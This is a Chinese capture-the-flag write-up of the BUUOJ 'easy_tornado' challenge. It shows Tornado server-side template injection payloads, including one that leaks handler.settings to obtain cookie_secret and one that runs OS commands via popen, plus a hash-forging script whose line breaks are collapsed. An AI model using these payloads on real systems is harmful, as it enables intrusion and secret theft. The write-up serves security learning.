当前位置: 首页 > news >正文

[BUUOJ 护网杯 2018 ] easy_tornado 题解

一、题目概述

题目地址:https://buuoj.cn/challenges#[护网杯 2018]easy_tornado

本题是一道经典 Tornado 框架 + 模板注入(SSTI)+ Cookie 签名逻辑 的综合题,考察点包括:

  • Tornado 框架中 cookie_secret 的作用
  • Tornado 模板语法与 SSTI 漏洞
  • 利用 SSTI 读取服务端配置
  • 构造签名逻辑绕过校验,读取敏感文件

二、页面分析

访问题目页面后,可以看到多个 .txt 文件链接,依次点击后发现页面中给出了如下提示:

md5(cookie_secret + md5(filename))
/fllllllllllllag

image

image

这说明:

  • 服务端通过 文件名 + cookie_secret 计算 MD5
  • 只有校验通过,才能读取对应文件

很明显,这里存在一个 基于 Tornado Cookie 机制的完整性校验


三、cookie_secret 是什么?

在 Tornado 框架中,cookie_secret 是一个非常关键的安全配置,其作用主要包括:

3.1 签名与加密

当使用 set_secure_cookie() 时,Tornado 会将:

  • Cookie 值
  • 时间戳
  • HMAC 签名

一起进行编码,而这个签名的核心密钥就是 cookie_secret

3.2 完整性校验

服务端在 get_secure_cookie() 时,会使用同一个 cookie_secret 校验签名:

  • 签名不匹配 → 返回 None
  • 防止客户端篡改 Cookie 内容

3.3 安全性说明

  • Cookie 内容 对用户是可见的
  • 不能被随意修改
  • 安全性完全依赖于 cookie_secret

结论:只要拿到 cookie_secret,就能伪造合法校验值。

四、尝试常规思路:失败

一开始的思路是:

  • 抓包
  • 看是否存在可利用的 Cookie
  • 尝试暴力或逻辑绕过

但实际测试后发现:

页面中 并没有可用的 Cookie 信息

这说明,突破点不在客户端,而在 服务端配置泄露

五、转向 Tornado 模板注入(SSTI)

结合题目名称 easy_tornado,很容易联想到 Tornado 模板注入漏洞(SSTI)

5.1 什么是 Tornado SSTI

Tornado 使用 Python 风格模板语法,如果 用户输入被直接拼接进模板并渲染,就可能导致 SSTI。


5.2 危险代码示例

self.write("""
<div>{{%s}}</div>
""" % user_input)

如果 user_input 可控,就可以执行任意模板表达式。


5.3 常见攻击向量

基础测试

{{7*7}}

读取对象

{{handler.settings}}

执行代码

{{__import__('os').popen('whoami').read()}}

六、漏洞利用点定位

访问错误页面:

/error?msg={{1 * 7}}

image

尝试注入:

/error?msg={{handler.settings}}

image

成功回显 Tornado 配置信息,其中包括关键字段:

cookie_secret

至此,核心目标达成:成功获取 cookie_secret


七、构造校验值

题目给出的校验逻辑为:

md5(cookie_secret + md5(filename))

目标文件:

/fllllllllllllag

7.1 Python 计算脚本

import hashlibprefix = "deeb6004-633a-4f22-a2f4-472ceb62e935"
filename = "/fllllllllllllag"# filename 先 MD5
first_md5 = hashlib.md5(filename.encode("utf-8")).hexdigest()# 再拼接 cookie_secret
final = hashlib.md5((prefix + first_md5).encode("utf-8")).hexdigest()print(final)

输出结果:

image

e148fd23e8f6f5e6bbd7a4ae149374a2

八、读取 Flag

将计算得到的 MD5 值作为参数提交,成功读取目标文件,得到 Flag:

image

flag{28e7236c-00c4-4672-8dd0-c3f5c99c1595}

九、总结

本题完整攻击链如下:

  1. 发现文件校验逻辑依赖 cookie_secret
  2. 常规 Cookie 攻击失败
  3. 联想到 Tornado SSTI
  4. 通过 handler.settings 泄露配置
  5. 获取 cookie_secret
  6. 构造 MD5 校验值
  7. 成功读取 Flag

这是一道非常标准、非常值得复现的 Tornado SSTI 入门题,既有框架特性,也有真实开发中常见的安全误区。

http://www.gsyq.cn/news/143076.html

相关文章:

  • 为什么不让程序员直接对接客户?而是通过产品经理…
  • 什么是 ‘Type Erasure’ (类型擦除)?对比 `std::any` 与虚函数在解耦方面的异同
  • DataWorks 又又又升级了,这次我们通过 Arrow 列存格式让数据同步速度提升10倍!
  • AI浪潮下,文化原创力的坚守与重塑
  • 第六十四篇
  • 大数据隐私保护技术全解析:脱敏、匿名化、差分隐私哪个更实用?
  • .NET 进阶 —— 深入理解线程(3)ThreadPool 与 Task 入门:从手动线程到池化任务的升级
  • 全局变量和静态变量
  • 星闪音频凭啥让有线耳机成古董?抗干扰+低延迟+未来黑科技全解析!
  • “最小重量机器设计问题”有感
  • 基于springboot医疗挂号管理系统
  • 突破莫拉维克悖论!Pi通过π0.6模型斩获机器人奥运会多枚金牌,物理智能破解机器人精细操作难题
  • 2026 年软考的核心信息一次性梳理清楚!
  • 2025年12月必看:铁路地铁用中低压、低压、中压、变频及聚乙烯绝缘电缆生产厂家TOP榜单推荐 - 品牌2026
  • 444
  • TARS机器人攻克手绣技术!突破柔性制造自动化瓶颈,DATA-AI-PHYSICS三位一体方案引领智造升级
  • 探索机器学习与艺术的跨界峰会:Uncanny Spaces
  • 互联网企业为什么要做地图?答案都在这里!
  • HarmonyOS 5开发从入门到精通(七):网络请求与数据获取
  • HTTP协议在Java大附件上传中如何优化秒传功能的性能?
  • 柯萨奇病毒(Coxsackievirus,CV)的分子结构与重组蛋白技术原理解析
  • 在湖南,唯一拥有“双重身份”的网安培训机构——湖南省网安基地:既是人才培养基地,也是真正的网安应急队
  • FCKEditor支持WORD公式粘贴保留图文混排结构
  • 专题:2025游戏行业全景报告:VC投资、AI应用、用户行为|附200+份报告PDF、数据、可视化模板汇总下载
  • 基于springboot的企业信息管理系统
  • Alpha158因子前世今生
  • 基于springboot的经方药食两用服务平台
  • Docker+Nginx+Jenkins实现前端自动化部署 (超详细)
  • 敦化便秘调理如何选?这4家特色机构值得了解 - 品牌日记
  • Solon + EasyQuery + ElementPlus 实现后台管理系统之 08-权限认证优化